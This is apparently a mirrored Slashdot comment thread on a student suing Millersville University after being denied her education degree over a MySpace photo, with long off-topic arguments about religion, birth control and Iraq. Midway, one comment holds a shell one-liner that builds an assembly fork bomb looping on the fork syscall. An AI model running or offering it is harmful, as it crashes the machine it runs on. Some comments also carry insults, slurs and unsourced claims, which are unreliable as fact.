Slashdot Mirror
Student, Denied Degree For MySpace Photo, Sues
gwoodrow writes "We've all heard the 'fired because of MySpace' stories, where a simple blog or picture gets someone canned. But now one of the targets is fighting back. (The offending picture in this case was a snap from Halloween 2005 of the student in a pirate outfit drinking from a cup.)" From the article: "Teacher in training Stacy Snyder was denied her education degree on the eve of graduation when Millersville University apparently found pictures on her MySpace page 'promoting underage drinking.' As a result, the 27-year-old mother of two had her teaching certificate withheld and was granted an English degree instead. In response, Snyder has filed a Federal lawsuit against the Pennsylvania university asking for her education diploma and certificate along with $75,000 in damages."
A genuine re-use of the dumbestideaever tag!
I laughed real hard when I read that. I can only hope it was true. It's still funny regardless.
In a world of acronyms, the words are the real victims.
After she's done suing MySpace, she can sue Anheuser Busch for making the beer... ABC showing cool commercials, and so on... I say sue em all. Then sue /. for posting her (by then) copyrighted name without her consent.
Infiltrated dot Net
*cough* biggots *cough*
The Wise adapts himself to the world. The Fool adapts the world to himself. Therefore, all progress depends on the Fool.
unfortunatly not, although I wish it was true then I could make FP of slashdot :) BTW to anyone else Pete Townshend is the guitarist from the Who, who is now on the sex offenders register for "researching" child pornography.
you're stuffed if you were stupid enough to have gotten a Gary Glitter tattoo when Glittermania was all the rage...
Donald 'Duck' Dunn: We had a band powerful enough to turn goat piss into gasoline.
Oh come on, Kirk could so kick that wrinkled old Picard ass. And he'd give that smarmy smile while he did it and probably pick up two hot alien chicks, one that's green and one that's red, just 'cause it was Christmas.
Now see, THATS MORE LIKE IT! uhhh. Picard would like, totally win?
A big sketch of him on your back with "Part of the Gang" in olde english underneath.
^^^^^ Aforementioned black man, trying to lay low.
No, it's like eating a plate of food, you retarded asshole. Learn the difference between nouns and verbs.
Le français vous intéresse?
I have to be honest... I didn't know there was such a big kerfufle over birth control.
I mean, I know the Catholic church frowns on it, and I know a lot of people (religious and otherwise) don't care for public funding of it (and giving it out, in whatever form, in public schools), but I didn't know there was this whole big issue with people saying you shouldn't be allowed to use it or anything.
And no, I'm not be facetious... I know some people have issues about it, but I never thought it was a huge thing (like the abortion issue).
Stupid sexy Flanders.
I'd say that giving a herpes vaccine to women at 11 is protecting their future babies from a life of blindness, and horrible scarring. Oh, it also protects them from cervical cancer. But that's just me.
Personally, I blame peoples' inability to look past themselves and understand other people. They try to control other people because they know that the other person has feelings and compulsions, but they haven't gotten to the point where they realize that the other person also has enough of a brain to know when those compulsions are appropriate.
Sometimes you just have to trust other people even if the consequence is betrayal. It's part of life, but when we lose the ability to trust others we give up our own innocence.
SRSLY.
Not terribly ironic, how did the Abrahamic faiths spread to cover half the world. The rules are quite simple:
1. Take virgin wives, be fruitful and multiple with them
2. If you don't have a child within 10 years, she's infertile, dump her
3. Don't have gay sex (which doesn't create children), but have lots of sex with your wife/wives about 10 days after her menstruation (when she's fertile)
4. Never use birth control, keep having children
5. Preserve and build the community, the community trumps the individual
I wonder how Buddhism and Eastern religions fit into all this. They seem pretty relaxed about sex, and tolerant of homosexuality. Actually I reckon that homosexuality isn't as big a problem as you make out. Historically, most people who had homosexual relationshops when young ended up having heterosexual relationships later.
1. Sex is fun, have it as much as you want as often as you want, preferably for years (the most fertile ones), but make sure to use a condom
2. Marriage is something risky, push it off a while, just keep having sex for recreation first
3. More education is better... Age 16 isn't enough, a high school diploma @ 18 isn't enough, a college degree at 22 isn't really enough, how about some grad school (24-28)... DO NOT GET MARRIED BEFORE YOU FINISH OR WE TAKE YOUR FUNDING AWAY
4. Start your career before starting a family, wait a few more years
5. Don't have more than 2 kids, you're a breeder and sucking up resources... Let's cap every woman at 2 kids, and not wonder what happens when not all women have kids
6. Spoil your children, so they push off real life an extra few years...
7. Oh, and gay sex should be idealized, not stigmatized, and considered an innate behavior
8. Screw the community, individual liberty is all that matters, whatever makes you happy.
I'm very much secular, but I don't agree with 8. 7 is complex - I think it's not something which should be encouraged or discouraged. 5 is probably not a bad thing. Most countries have gone through a phase transition where family sizes drop at a certain level of wealth. If this didn't happen, then the world would be screwed due to overpopulation. Mind you, places like Africa which are far from ever achieving this seem to have other things like Aids which limit population
Perhaps the religious leadership isn't QUITE as ignorant as you think.
Oh, I think they are. The religious leadership didn't invent this stuff or understand it, they just parrot what they learned at a religious school because they think it will make them go to heaven. Natural selection means that the religions which get the formula right to grow quickly will be more common than ones that don't. Possibly there were mutations along the way to - the religion split over some doctrinal difference and then the fork with the more evolutionarily fit beliefs out competed the other.
Richard Dawkins has more or less stated that religion is a nasty parasitic meme in general. And if you look at the religions that are propagating fastest at the moment, they seemed to be the nastiest of all.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Spoken as someone without a religious background. Real religious study is not simple, is not parroted. Each group has their own approach.
Judaism (Orthodox) -- Laity receive religious education through at least age 18, preferably with some afterwards, with basic grounds in Hebrew, Torah Laws, Rabbinic Laws, and some introductory Talmudic study. Those that go on to study for Smeicha (Rabinnic ordination) receive detailed extensive learning and testing. Learning is not memorization, but rather logical arguments to learn to issue a ruling. Ordination (Smeicha) is essentially a Jewish law degree, one is then qualified to sit on a Beit Din (House of Law) and render legal decisions. This involves learning the law, learning the debates of the Talmud, when to pull a minority opinion to issue lenient rulings, etc. Read some of the rulings of Rav. Moshe Feinsten who was America's leading Rabbinic authority for his generation, challenges some relatively long standing understandings (permitted shaving with certain electric shavers, for example), but had an extensive knowledge base to do so. The common religious Jew has a basic understanding of how to live a Jewish life, but nothing that deep.
Jewish (Sephardic) -- Now borrowing heavily from the Orthodox Ashkenazi Yeshiva model, but traditionally required father-to-son transmission of the basics of Judaism, with some of the more intelligent children studying with their Rav, and the best and brightest traveling to learn with other Rabbanim. Because of the heavy influence of the Rambam's works (especially in the Yemenite communities), heavily based upon rationalism and logic, less about simply relying on Mensorah (tradition) to establish behavior. Much less doctrinaire than the Orthodox Ashkenazi approach, but a simpler yet stricter approach to Jewish law... less about understanding the loopholes and exceptions through learning than about preserving customs and mysticism... Kabbalah study is routine here.
Jewish (non-Orthodox) -- Laity receive cursory education in reading Hebrew from ages 10-13, some do a high school after-school program. Religious leadership focuses on pastoral training with minimal advanced learning -- much more like the Protestant Churches -- learn the doctrine. If you are exemptionally interested, you may get involved in committees that make rulings, but generally focus on pastoral training.
Christianity (Protestant) -- Laity receive no education, interact with ministers with cursory knowledge of theology. Matches your understanding pretty well, very few really learn.
Christianity (Denomination Study) instead of taking pastoral positions, go into research into matters of theology. Will research positions, understand historical and theological underpinnings. Very rare, but it's their research that empowers the pastoral leaders to handle issues.
Christianity (Fundamentalist) -- heavy on the learning, lots of bible studies, but done largely without commentary. Much more legal than Protestants, but with literalism and without lots of scholarship. No organized denominational structure for issuing legally binding rulings, independents are empowered to make their own determinations and choose who to follow.
Catholicism -- Laity receive basic education (how to get to heaven), Priests can become pastoral or theological. Pope John Paul II was a pastoral priest and applied theologi
Point 0: Iraq was a disaster.
Point 1: Living under a dictatorship in Iraq is worse than living in a liberal democracy. I happen to think that living under a dictatorship (or a theocracy, which amounts to the same thing) is always worse than living in a liberal democracy, even a flawed liberal democracy (like the ones in the US and most of the Western world)
Point 2: Living under anarchy in Iraq is arguably worse than living in a dictatorship in Iraq.
I leave the remainder as an exercise for the class.
"how is America promoting 'freedom' exactly"
In this case, the American government is not promoting freedom. That is the problem.
Why yes, I AM a rocket scientist!